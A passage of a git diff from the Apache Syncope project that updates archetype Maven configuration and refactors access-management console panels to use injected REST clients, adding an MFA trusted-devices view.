${settings.localRepository}/${groupIdDocker}/syncope-wa/${project.version}/syncope-wa-${project.version}-classes.jar:/opt/syncope/lib/syncope-wa-classes.jar:ro + ${settings.localRepository}/${groupIdDocker}/syncope-common/${project.version}/syncope-common-${project.version}.jar:/opt/syncope/lib/syncope-common.jar:ro @@ -557,7 +582,8 @@ under the License. - ${settings.localRepository}/${groupId}/syncope-sra/${project.version}/syncope-sra-${project.version}.jar:/opt/syncope/lib/${groupId}-syncope-sra.jar:ro + ${settings.localRepository}/${groupIdDocker}/syncope-sra/${project.version}/syncope-sra-${project.version}.jar:/opt/syncope/lib/syncope-sra.jar:ro + ${settings.localRepository}/${groupIdDocker}/syncope-common/${project.version}/syncope-common-${project.version}.jar:/opt/syncope/lib/syncope-common.jar:ro diff --git a/archetype/src/main/resources/meta-pom.xml b/archetype/src/main/resources/archetype-resources/pom.xml similarity index 90% rename from archetype/src/main/resources/meta-pom.xml rename to archetype/src/main/resources/archetype-resources/pom.xml index 0a453ee8103..25a71bc0e92 100644 --- a/archetype/src/main/resources/meta-pom.xml +++ b/archetype/src/main/resources/archetype-resources/pom.xml @@ -26,11 +26,11 @@ under the License. org.apache.syncope syncope - + syncopeVersion - + syncopeVersion ${secretKey} ${anonymousKey} ${jwsKey} @@ -39,6 +39,8 @@ under the License. none true true + + 9443 Apache Syncope sample project @@ -54,7 +56,12 @@ under the License. syncope-common-idm-lib ${syncope.version} - + + org.apache.syncope.common.am + syncope-common-am-lib + ${syncope.version} + + org.apache.syncope.core syncope-core-starter @@ -83,8 +90,8 @@ under the License. - org.apache.syncope.client.idrepo - syncope-client-idrepo-enduser + org.apache.syncope.client.am + syncope-client-am-enduser ${syncope.version} diff --git a/archetype/src/main/resources/archetype-resources/wa/pom.xml b/archetype/src/main/resources/archetype-resources/wa/pom.xml index cab9c2420c1..6e9082af022 100644 --- a/archetype/src/main/resources/archetype-resources/wa/pom.xml +++ b/archetype/src/main/resources/archetype-resources/wa/pom.xml @@ -30,10 +30,35 @@ under the License. Apache Syncope sample project - WA ${groupId} ${artifactId} - war + ${packaging} + + + war + + + org.springframework + spring-framework-bom + ${spring-framework.version} + pom + import + + + org.springframework.security + spring-security-bom + ${spring-security.version} + pom + import + + + org.springframework.boot + spring-boot-dependencies + ${spring-boot.version} + pom + import + org.apereo.cas cas-server-support-bom @@ -41,6 +66,19 @@ under the License. pom import + + + + nz.net.ultraq.thymeleaf + thymeleaf-layout-dialect + ${thymeleaf-layout-dialect.version} + + + + org.apache.cxf + cxf-rt-transports-http + ${cxf.version} + @@ -106,8 +144,12 @@ under the License. - executable - + standalone + + + jar + + org.springframework.boot diff --git a/archetype/src/main/resources/properties2pom.xsl b/archetype/src/main/resources/properties2pom.xsl deleted file mode 100644 index 41e76b47451..00000000000 --- a/archetype/src/main/resources/properties2pom.xsl +++ /dev/null @@ -1,44 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/client/am/console/pom.xml b/client/am/console/pom.xml index ded3392d8a5..d39c5aed80d 100644 --- a/client/am/console/pom.xml +++ b/client/am/console/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.client syncope-client-am - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Client AM Console diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/AMConsoleContext.java b/client/am/console/src/main/java/org/apache/syncope/client/console/AMConsoleContext.java new file mode 100644 index 00000000000..46b94e1603e --- /dev/null +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/AMConsoleContext.java @@ -0,0 +1,126 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.client.console; + +import org.apache.syncope.client.console.commons.AMAccessPolicyConfProvider; +import org.apache.syncope.client.console.commons.AMPolicyTabProvider; +import org.apache.syncope.client.console.commons.AMRealmPolicyProvider; +import org.apache.syncope.client.console.commons.AccessPolicyConfProvider; +import org.apache.syncope.client.console.commons.PolicyTabProvider; +import org.apache.syncope.client.console.commons.RealmPolicyProvider; +import org.apache.syncope.client.console.init.AMClassPathScanImplementationContributor; +import org.apache.syncope.client.console.init.ClassPathScanImplementationContributor; +import org.apache.syncope.client.console.rest.AttrRepoRestClient; +import org.apache.syncope.client.console.rest.AuthModuleRestClient; +import org.apache.syncope.client.console.rest.AuthProfileRestClient; +import org.apache.syncope.client.console.rest.ClientAppRestClient; +import org.apache.syncope.client.console.rest.OIDCJWKSRestClient; +import org.apache.syncope.client.console.rest.PolicyRestClient; +import org.apache.syncope.client.console.rest.SAML2IdPEntityRestClient; +import org.apache.syncope.client.console.rest.SAML2SPEntityRestClient; +import org.apache.syncope.client.console.rest.SRARouteRestClient; +import org.apache.syncope.client.console.rest.SRAStatisticsRestClient; +import org.apache.syncope.client.console.rest.WAConfigRestClient; +import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +@Configuration(proxyBeanMethods = false) +public class AMConsoleContext { + + @Bean + public ClassPathScanImplementationContributor amClassPathScanImplementationContributor() { + return new AMClassPathScanImplementationContributor(); + } + + @Bean + public RealmPolicyProvider realmPolicyProvider(final PolicyRestClient policyRestClient) { + return new AMRealmPolicyProvider(policyRestClient); + } + + @Bean + public PolicyTabProvider amPolicyTabProvider(final PolicyRestClient policyRestClient) { + return new AMPolicyTabProvider(policyRestClient); + } + + @Bean + public AccessPolicyConfProvider accessPolicyConfProvider() { + return new AMAccessPolicyConfProvider(); + } + + @ConditionalOnMissingBean + @Bean + public AttrRepoRestClient attrRepoRestClient() { + return new AttrRepoRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public AuthModuleRestClient authModuleRestClient() { + return new AuthModuleRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public AuthProfileRestClient authProfileRestClient() { + return new AuthProfileRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public ClientAppRestClient clientAppRestClient() { + return new ClientAppRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public OIDCJWKSRestClient oidcJWKSRestClient() { + return new OIDCJWKSRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public SAML2IdPEntityRestClient saml2IdPEntityRestClient() { + return new SAML2IdPEntityRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public SAML2SPEntityRestClient saml2SPEntityRestClient() { + return new SAML2SPEntityRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public SRARouteRestClient sraRouteRestClient() { + return new SRARouteRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public SRAStatisticsRestClient sRAStatisticsRestClient() { + return new SRAStatisticsRestClient(); + } + + @ConditionalOnMissingBean + @Bean + public WAConfigRestClient waConfigRestClient() { + return new WAConfigRestClient(); + } +} diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/SyncopeAMConsoleContext.java b/client/am/console/src/main/java/org/apache/syncope/client/console/SyncopeAMConsoleContext.java deleted file mode 100644 index b5b35524d8e..00000000000 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/SyncopeAMConsoleContext.java +++ /dev/null @@ -1,47 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.client.console; - -import org.apache.syncope.client.console.commons.AMPolicyTabProvider; -import org.apache.syncope.client.console.commons.AMRealmPolicyProvider; -import org.apache.syncope.client.console.commons.PolicyTabProvider; -import org.apache.syncope.client.console.commons.RealmPolicyProvider; -import org.apache.syncope.client.console.init.AMClassPathScanImplementationContributor; -import org.apache.syncope.client.console.init.ClassPathScanImplementationContributor; -import org.springframework.context.annotation.Bean; -import org.springframework.context.annotation.Configuration; - -@Configuration(proxyBeanMethods = false) -public class SyncopeAMConsoleContext { - - @Bean - public ClassPathScanImplementationContributor amClassPathScanImplementationContributor() { - return new AMClassPathScanImplementationContributor(); - } - - @Bean - public RealmPolicyProvider realmPolicyProvider() { - return new AMRealmPolicyProvider(); - } - - @Bean - public PolicyTabProvider amPolicyTabProvider() { - return new AMPolicyTabProvider(); - } -} diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/authprofiles/AuthProfileDirectoryPanel.java b/client/am/console/src/main/java/org/apache/syncope/client/console/authprofiles/AuthProfileDirectoryPanel.java index 1066f1268c7..da73e8b0021 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/authprofiles/AuthProfileDirectoryPanel.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/authprofiles/AuthProfileDirectoryPanel.java @@ -19,14 +19,15 @@ package org.apache.syncope.client.console.authprofiles; import de.agilecoders.wicket.core.markup.html.bootstrap.dialog.Modal; -import java.io.Serializable; import java.util.ArrayList; import java.util.Collection; import java.util.Iterator; import java.util.List; +import org.apache.commons.collections4.CollectionUtils; import org.apache.syncope.client.console.SyncopeConsoleSession; import org.apache.syncope.client.console.authprofiles.AuthProfileDirectoryPanel.AuthProfileProvider; import org.apache.syncope.client.console.commons.AMConstants; +import org.apache.syncope.client.console.commons.DirectoryDataProvider; import org.apache.syncope.client.console.panels.DirectoryPanel; import org.apache.syncope.client.console.panels.ModalDirectoryPanel; import org.apache.syncope.client.console.rest.AuthProfileRestClient; @@ -37,27 +38,23 @@ import org.apache.syncope.client.console.wicket.markup.html.form.ActionLink; import org.apache.syncope.client.console.wicket.markup.html.form.ActionsPanel; import org.apache.syncope.client.ui.commons.Constants; -import org.apache.syncope.client.ui.commons.DirectoryDataProvider; -import org.apache.syncope.client.ui.commons.markup.html.form.AjaxTextFieldPanel; import org.apache.syncope.client.ui.commons.pages.BaseWebPage; import org.apache.syncope.common.lib.to.AuthProfileTO; import org.apache.syncope.common.lib.types.AMEntitlement; import org.apache.syncope.common.lib.wa.GoogleMfaAuthAccount; import org.apache.syncope.common.lib.wa.GoogleMfaAuthToken; import org.apache.syncope.common.lib.wa.ImpersonationAccount; +import org.apache.syncope.common.lib.wa.MfaTrustedDevice; import org.apache.syncope.common.lib.wa.U2FDevice; import org.apache.syncope.common.lib.wa.WebAuthnDeviceCredential; import org.apache.wicket.PageReference; import org.apache.wicket.ajax.AjaxRequestTarget; -import org.apache.wicket.authroles.authorization.strategies.role.metadata.MetaDataRoleAuthorizationStrategy; import org.apache.wicket.extensions.markup.html.repeater.data.sort.SortOrder; import org.apache.wicket.extensions.markup.html.repeater.data.table.IColumn; import org.apache.wicket.extensions.markup.html.repeater.data.table.PropertyColumn; -import org.apache.wicket.extensions.wizard.WizardModel; import org.apache.wicket.model.CompoundPropertyModel; import org.apache.wicket.model.IModel; import org.apache.wicket.model.Model; -import org.apache.wicket.model.PropertyModel; import org.apache.wicket.model.ResourceModel; import org.apache.wicket.model.StringResourceModel; @@ -68,8 +65,10 @@ public class AuthProfileDirectoryPanel private final BaseModal authProfileModal; - public AuthProfileDirectoryPanel(final String id, final PageReference pageRef) { - super(id, pageRef); + public AuthProfileDirectoryPanel( + final String id, final AuthProfileRestClient restClient, final PageReference pageRef) { + + super(id, restClient, pageRef); authProfileModal = new BaseModal<>(Constants.OUTER) { @@ -82,15 +81,9 @@ protected void onConfigure() { } }; authProfileModal.size(Modal.Size.Large); - authProfileModal.setWindowClosedCallback(target -> { - updateResultTable(target); - authProfileModal.show(false); - }); + setWindowClosedReloadCallback(authProfileModal, true); addOuterObject(authProfileModal); - addNewItemPanelBuilder(new CreateAuthProfileWizardBuilder(pageRef), true); - MetaDataRoleAuthorizationStrategy.authorize(addAjaxLink, RENDER, AMEntitlement.AUTH_PROFILE_CREATE); - disableCheckBoxes(); initResultTable(); } @@ -125,7 +118,7 @@ protected List> getColumns() { @Override protected boolean isCondition(final IModel rowModel) { - return !rowModel.getObject().getImpersonationAccounts().isEmpty(); + return CollectionUtils.isNotEmpty(rowModel.getObject().getImpersonationAccounts()); } }); columns.add(new BooleanConditionColumn<>(new StringResourceModel("googleMfaAuthTokens")) { @@ -134,7 +127,7 @@ protected boolean isCondition(final IModel rowModel) { @Override protected boolean isCondition(final IModel rowModel) { - return !rowModel.getObject().getGoogleMfaAuthTokens().isEmpty(); + return CollectionUtils.isNotEmpty(rowModel.getObject().getGoogleMfaAuthTokens()); } }); columns.add(new BooleanConditionColumn<>(new StringResourceModel("googleMfaAuthAccounts")) { @@ -143,7 +136,7 @@ protected boolean isCondition(final IModel rowModel) { @Override protected boolean isCondition(final IModel rowModel) { - return !rowModel.getObject().getGoogleMfaAuthAccounts().isEmpty(); + return CollectionUtils.isNotEmpty(rowModel.getObject().getGoogleMfaAuthAccounts()); } }); columns.add(new BooleanConditionColumn<>(new StringResourceModel("u2fRegisteredDevices")) { @@ -152,7 +145,16 @@ protected boolean isCondition(final IModel rowModel) { @Override protected boolean isCondition(final IModel rowModel) { - return !rowModel.getObject().getU2FRegisteredDevices().isEmpty(); + return CollectionUtils.isNotEmpty(rowModel.getObject().getU2FRegisteredDevices()); + } + }); + columns.add(new BooleanConditionColumn<>(new StringResourceModel("mfaTrustedDevices")) { + + private static final long serialVersionUID = -8236820422411536323L; + + @Override + protected boolean isCondition(final IModel rowModel) { + return CollectionUtils.isNotEmpty(rowModel.getObject().getMfaTrustedDevices()); } }); columns.add(new BooleanConditionColumn<>(new StringResourceModel("webAuthnAccount")) { @@ -161,7 +163,7 @@ protected boolean isCondition(final IModel rowModel) { @Override protected boolean isCondition(final IModel rowModel) { - return !rowModel.getObject().getWebAuthnDeviceCredentials().isEmpty(); + return CollectionUtils.isNotEmpty(rowModel.getObject().getWebAuthnDeviceCredentials()); } }); @@ -178,11 +180,11 @@ public ActionsPanel getActions(final IModel model) @Override public void onClick(final AjaxRequestTarget target, final AuthProfileTO ignore) { - model.setObject(AuthProfileRestClient.read(model.getObject().getKey())); + model.setObject(restClient.read(model.getObject().getKey())); target.add(authProfileModal.setContent(new ModalDirectoryPanel<>( authProfileModal, new AuthProfileItemDirectoryPanel( - "panel", authProfileModal, model.getObject(), pageRef) { + "panel", restClient, authProfileModal, model.getObject(), pageRef) { private static final long serialVersionUID = -5380664539000792237L; @@ -225,11 +227,11 @@ protected List> getColumns() { @Override public void onClick(final AjaxRequestTarget target, final AuthProfileTO ignore) { - model.setObject(AuthProfileRestClient.read(model.getObject().getKey())); + model.setObject(restClient.read(model.getObject().getKey())); target.add(authProfileModal.setContent(new ModalDirectoryPanel<>( authProfileModal, new AuthProfileItemDirectoryPanel( - "panel", authProfileModal, model.getObject(), pageRef) { + "panel", restClient, authProfileModal, model.getObject(), pageRef) { private static final long serialVersionUID = 7332357430197837993L; @@ -274,11 +276,11 @@ protected List> getColumns() { @Override public void onClick(final AjaxRequestTarget target, final AuthProfileTO ignore) { - model.setObject(AuthProfileRestClient.read(model.getObject().getKey())); + model.setObject(restClient.read(model.getObject().getKey())); target.add(authProfileModal.setContent(new ModalDirectoryPanel<>( authProfileModal, new AuthProfileItemDirectoryPanel( - "panel", authProfileModal, model.getObject(), pageRef) { + "panel", restClient, authProfileModal, model.getObject(), pageRef) { private static final long serialVersionUID = -670769282358547044L; @@ -323,11 +325,11 @@ protected List> getColumns() { @Override public void onClick(final AjaxRequestTarget target, final AuthProfileTO ignore) { - model.setObject(AuthProfileRestClient.read(model.getObject().getKey())); + model.setObject(restClient.read(model.getObject().getKey())); target.add(authProfileModal.setContent(new ModalDirectoryPanel<>( authProfileModal, new AuthProfileItemDirectoryPanel( - "panel", authProfileModal, model.getObject(), pageRef) { + "panel", restClient, authProfileModal, model.getObject(), pageRef) { private static final long serialVersionUID = 5788448799796630011L; @@ -364,7 +366,58 @@ protected List> getColumns() { authProfileModal.header(new Model<>(getString("u2fRegisteredDevices", model))); authProfileModal.show(true); } - }, ActionLink.ActionType.FO_EDIT, AMEntitlement.AUTH_PROFILE_UPDATE); + }, ActionLink.ActionType.DEPROVISION, AMEntitlement.AUTH_PROFILE_UPDATE); + + panel.add(new ActionLink<>() { + + private static final long serialVersionUID = -3722207913631435501L; + + @Override + public void onClick(final AjaxRequestTarget target, final AuthProfileTO ignore) { + model.setObject(restClient.read(model.getObject().getKey())); + target.add(authProfileModal.setContent(new ModalDirectoryPanel<>( + authProfileModal, + new AuthProfileItemDirectoryPanel( + "panel", restClient, authProfileModal, model.getObject(), pageRef) { + + private static final long serialVersionUID = 5788448799796630011L; + + @Override + protected List getItems() { + return model.getObject().getMfaTrustedDevices(); + } + + @Override + protected MfaTrustedDevice defaultItem() { + return new MfaTrustedDevice(); + } + + @Override + protected String sortProperty() { + return "id"; + } + + @Override + protected String paginatorRowsKey() { + return AMConstants.PREF_AUTHPROFILE_MFA_TRUSTED_FDEVICES_PAGINATOR_ROWS; + } + + @Override + protected List> getColumns() { + List> columns = new ArrayList<>(); + columns.add(new PropertyColumn<>(new ResourceModel("id"), "id", "id")); + columns.add(new PropertyColumn<>(new ResourceModel("name"), "name", "name")); + columns.add(new DatePropertyColumn<>( + new ResourceModel("recordDate"), "recordDate", "recordDate")); + columns.add(new DatePropertyColumn<>( + new ResourceModel("expirationDate"), "expirationDate", "expirationDate")); + return columns; + } + }, pageRef))); + authProfileModal.header(new Model<>(getString("mfaTrustedDevices", model))); + authProfileModal.show(true); + } + }, ActionLink.ActionType.DOWN, AMEntitlement.AUTH_PROFILE_UPDATE); panel.add(new ActionLink<>() { @@ -372,11 +425,11 @@ protected List> getColumns() { @Override public void onClick(final AjaxRequestTarget target, final AuthProfileTO ignore) { - model.setObject(AuthProfileRestClient.read(model.getObject().getKey())); + model.setObject(restClient.read(model.getObject().getKey())); target.add(authProfileModal.setContent(new ModalDirectoryPanel<>( authProfileModal, new AuthProfileItemDirectoryPanel( - "panel", authProfileModal, model.getObject(), pageRef) { + "panel", restClient, authProfileModal, model.getObject(), pageRef) { private static final long serialVersionUID = 6820212423488933184L; @@ -422,7 +475,7 @@ protected List> getColumns() { @Override public void onClick(final AjaxRequestTarget target, final AuthProfileTO ignore) { try { - AuthProfileRestClient.delete(model.getObject().getKey()); + restClient.delete(model.getObject().getKey()); SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); target.add(container); @@ -437,7 +490,7 @@ public void onClick(final AjaxRequestTarget target, final AuthProfileTO ignore) return panel; } - protected static final class AuthProfileProvider extends DirectoryDataProvider { + protected final class AuthProfileProvider extends DirectoryDataProvider { private static final long serialVersionUID = -185944053385660794L; @@ -449,12 +502,12 @@ private AuthProfileProvider(final int paginatorRows) { @Override public Iterator iterator(final long first, final long count) { int page = ((int) first / paginatorRows); - return AuthProfileRestClient.list((page < 0 ? 0 : page) + 1, paginatorRows).iterator(); + return restClient.list((page < 0 ? 0 : page) + 1, paginatorRows).iterator(); } @Override public long size() { - return AuthProfileRestClient.count(); + return restClient.count(); } @Override @@ -462,39 +515,4 @@ public IModel model(final AuthProfileTO object) { return new CompoundPropertyModel<>(object); } } - - private class CreateAuthProfileWizardBuilder extends AuthProfileWizardBuilder { - - private static final long serialVersionUID = 1L; - - private class NewAuthProfileStep extends AuthProfileWizardBuilder.Step { - - private static final long serialVersionUID = 1L; - - NewAuthProfileStep(final AuthProfileTO modelObject) { - super(modelObject); - - AjaxTextFieldPanel owner = new AjaxTextFieldPanel( - "bean", "owner", new PropertyModel<>(modelObject, "owner")); - owner.addRequiredLabel(); - addOrReplace(owner); - } - } - - CreateAuthProfileWizardBuilder(final PageReference pageRef) { - super(new AuthProfileTO(), new StepModel<>(), pageRef); - } - - @Override - protected WizardModel buildModelSteps(final AuthProfileTO modelObject, final WizardModel wizardModel) { - wizardModel.add(new NewAuthProfileStep(modelObject)); - return wizardModel; - } - - @Override - protected Serializable onApplyInternal(final AuthProfileTO modelObject) { - AuthProfileRestClient.create(modelObject); - return modelObject; - } - } } diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/authprofiles/AuthProfileItemDirectoryPanel.java b/client/am/console/src/main/java/org/apache/syncope/client/console/authprofiles/AuthProfileItemDirectoryPanel.java index a125278ef7b..c1e46041630 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/authprofiles/AuthProfileItemDirectoryPanel.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/authprofiles/AuthProfileItemDirectoryPanel.java @@ -25,6 +25,7 @@ import java.util.Objects; import java.util.stream.Collectors; import org.apache.syncope.client.console.SyncopeConsoleSession; +import org.apache.syncope.client.console.commons.DirectoryDataProvider; import org.apache.syncope.client.console.commons.SortableDataProviderComparator; import org.apache.syncope.client.console.panels.DirectoryPanel; import org.apache.syncope.client.console.rest.AuthProfileRestClient; @@ -32,7 +33,6 @@ import org.apache.syncope.client.console.wicket.markup.html.form.ActionLink; import org.apache.syncope.client.console.wicket.markup.html.form.ActionsPanel; import org.apache.syncope.client.ui.commons.Constants; -import org.apache.syncope.client.ui.commons.DirectoryDataProvider; import org.apache.syncope.client.ui.commons.pages.BaseWebPage; import org.apache.syncope.client.ui.commons.wizards.AjaxWizard; import org.apache.syncope.common.lib.BaseBean; @@ -52,19 +52,20 @@ public abstract class AuthProfileItemDirectoryPanel extends DirectoryPanel.AuthProfileItemProvider, AuthProfileRestClient> { - private static final long serialVersionUID = 1L; + private static final long serialVersionUID = 7640851594812655896L; - private final BaseModal authProfileModal; + protected final BaseModal authProfileModal; - private final AuthProfileTO authProfile; + protected final AuthProfileTO authProfile; public AuthProfileItemDirectoryPanel( final String id, + final AuthProfileRestClient restClient, final BaseModal authProfileModal, final AuthProfileTO authProfile, final PageReference pageRef) { - super(id, pageRef, false); + super(id, restClient, pageRef, false); this.authProfileModal = authProfileModal; this.authProfile = authProfile; @@ -74,8 +75,6 @@ public AuthProfileItemDirectoryPanel( enableUtilityButton(); setFooterVisibility(false); - addNewItemPanelBuilder(new AuthProfileItemWizardBuilder(pageRef), true); - disableCheckBoxes(); initResultTable(); } @@ -132,7 +131,7 @@ public void onClick(final AjaxRequestTarget target, final I ignore) { public void onClick(final AjaxRequestTarget target, final I ignore) { try { getItems().remove(model.getObject()); - AuthProfileRestClient.update(authProfile); + restClient.update(authProfile); SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); target.add(container); @@ -212,7 +211,7 @@ protected Serializable onApplyInternal(final I modelObject) { getItems().remove(model.getInitialModelObject()); getItems().add(modelObject); - AuthProfileRestClient.update(authProfile); + restClient.update(authProfile); return modelObject; } diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/authprofiles/AuthProfileWizardBuilder.java b/client/am/console/src/main/java/org/apache/syncope/client/console/authprofiles/AuthProfileWizardBuilder.java index 08475c41109..41a5ff99586 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/authprofiles/AuthProfileWizardBuilder.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/authprofiles/AuthProfileWizardBuilder.java @@ -29,7 +29,7 @@ public abstract class AuthProfileWizardBuilder extends BaseAjaxWizardBuilder { - private static final long serialVersionUID = 1L; + private static final long serialVersionUID = -723891643398238220L; protected final StepModel model; @@ -46,7 +46,7 @@ protected WizardModel buildModelSteps(final T modelObject, final WizardModel wiz protected static class StepModel extends Model { - private static final long serialVersionUID = 1L; + private static final long serialVersionUID = -3300650579312254364L; private T initialModelObject; diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/CASSPDirectoryPanel.java b/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/CASSPDirectoryPanel.java index da990b68976..64d4900d19f 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/CASSPDirectoryPanel.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/CASSPDirectoryPanel.java @@ -19,6 +19,7 @@ package org.apache.syncope.client.console.clientapps; import java.util.List; +import org.apache.syncope.client.console.rest.ClientAppRestClient; import org.apache.syncope.common.lib.to.CASSPClientAppTO; import org.apache.syncope.common.lib.types.AMEntitlement; import org.apache.syncope.common.lib.types.ClientAppType; @@ -32,13 +33,20 @@ public class CASSPDirectoryPanel extends ClientAppDirectoryPanel(ClientAppType.CASSP, defaultItem, modal, pageRef), true); + addNewItemPanelBuilder(new ClientAppModalPanelBuilder<>( + ClientAppType.CASSP, + defaultItem, + modal, + policyRestClient, + clientAppRestClient, + realmRestClient, + pageRef), + true); MetaDataRoleAuthorizationStrategy.authorize(addAjaxLink, RENDER, AMEntitlement.CLIENTAPP_CREATE); initResultTable(); diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/ClientAppDirectoryPanel.java b/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/ClientAppDirectoryPanel.java index 68ea7862192..208f4ce2c64 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/ClientAppDirectoryPanel.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/clientapps/ClientAppDirectoryPanel.java @@ -19,30 +19,38 @@ package org.apache.syncope.client.console.clientapps; import de.agilecoders.wicket.core.markup.html.bootstrap.dialog.Modal; +import java.io.Serializable; import java.util.ArrayList; import java.util.Collection; import java.util.Iterator; import java.util.List; import org.apache.commons.lang3.SerializationUtils; import org.apache.syncope.client.console.SyncopeConsoleSession; +import org.apache.syncope.client.console.audit.AuditHistoryModal; import org.apache.syncope.client.console.commons.AMConstants; +import org.apache.syncope.client.console.commons.DirectoryDataProvider; import org.apache.syncope.client.console.commons.SortableDataProviderComparator; +import org.apache.syncope.client.console.pages.BasePage; import org.apache.syncope.client.console.panels.DirectoryPanel; import org.apache.syncope.client.console.panels.ModalDirectoryPanel; +import org.apache.syncope.client.console.rest.AuditRestClient; import org.apache.syncope.client.console.rest.ClientAppRestClient; +import org.apache.syncope.client.console.rest.PolicyRestClient; +import org.apache.syncope.client.console.rest.RealmRestClient; import org.apache.syncope.client.console.wicket.extensions.markup.html.repeater.data.table.KeyPropertyColumn; import org.apache.syncope.client.console.wicket.markup.html.bootstrap.dialog.BaseModal; import org.apache.syncope.client.console.wicket.markup.html.form.ActionLink; import org.apache.syncope.client.console.wicket.markup.html.form.ActionLink.ActionType; import org.apache.syncope.client.console.wicket.markup.html.form.ActionsPanel; import org.apache.syncope.client.ui.commons.Constants; -import org.apache.syncope.client.ui.commons.DirectoryDataProvider; import org.apache.syncope.client.ui.commons.pages.BaseWebPage; import org.apache.syncope.client.ui.commons.wizards.AjaxWizard; import org.apache.syncope.common.lib.SyncopeClientException; import org.apache.syncope.common.lib.to.ClientAppTO; import org.apache.syncope.common.lib.types.AMEntitlement; +import org.apache.syncope.common.lib.types.AuditElements; import org.apache.syncope.common.lib.types.ClientAppType; +import org.apache.syncope.common.lib.types.IdRepoEntitlement; import org.apache.wicket.PageReference; import org.apache.wicket.ajax.AjaxRequestTarget; import org.apache.wicket.event.Broadcast; @@ -53,26 +61,43 @@ import org.apache.wicket.model.IModel; import org.apache.wicket.model.Model; import org.apache.wicket.model.StringResourceModel; +import org.apache.wicket.spring.injection.annot.SpringBean; public abstract class ClientAppDirectoryPanel extends DirectoryPanel, ClientAppRestClient> { private static final long serialVersionUID = 4100100988730985059L; - private final ClientAppType type; + @SpringBean + protected PolicyRestClient policyRestClient; + + @SpringBean + protected ClientAppRestClient clientAppRestClient; + + @SpringBean + protected RealmRestClient realmRestClient; + + @SpringBean + protected AuditRestClient auditRestClient; + + protected final ClientAppType type; protected final BaseModal propertiesModal; - public ClientAppDirectoryPanel(final String id, final ClientAppType type, final PageReference pageRef) { - super(id, pageRef, true); + protected final BaseModal historyModal; + + public ClientAppDirectoryPanel( + final String id, + final ClientAppRestClient restClient, + final ClientAppType type, + final PageReference pageRef) { + + super(id, restClient, pageRef, true); this.type = type; modal.addSubmitButton(); modal.size(Modal.Size.Large); - modal.setWindowClosedCallback(target -> { - updateResultTable(target); - modal.show(false); - }); + setWindowClosedReloadCallback(modal, true); setFooterVisibility(true); propertiesModal = new BaseModal<>(Constants.OUTER) { @@ -86,10 +111,14 @@ protected void onConfigure() { } }; propertiesModal.size(Modal.Size.Large); - propertiesModal.setWindowClosedCallback(target -> propertiesModal.show(false)); + setWindowClosedReloadCallback(propertiesModal); addOuterObject(propertiesModal); disableCheckBoxes(); + + historyModal = new BaseModal<>(Constants.OUTER); + historyModal.size(Modal.Size.Large); + addOuterObject(historyModal); } @Override @@ -103,6 +132,8 @@ protected List> getColumns() { Constants.NAME_FIELD_NAME, Constants.NAME_FIELD_NAME)); columns.add(new PropertyColumn<>( new StringResourceModel("clientAppId", this), "clientAppId", "clientAppId")); + columns.add(new PropertyColumn<>( + new StringResourceModel("evaluationOrder", this), "evaluationOrder", "evaluationOrder")); addCustomColumnFields(columns); @@ -124,7 +155,7 @@ public ActionsPanel getActions(final IModel model) { public void onClick(final AjaxRequestTarget target, final ClientAppTO ignore) { send(ClientAppDirectoryPanel.this, Broadcast.EXACT, new AjaxWizard.EditItemActionEvent<>( - ClientAppRestClient.read(type, model.getObject().getKey()), target)); + restClient.read(type, model.getObject().getKey()), target)); } }, 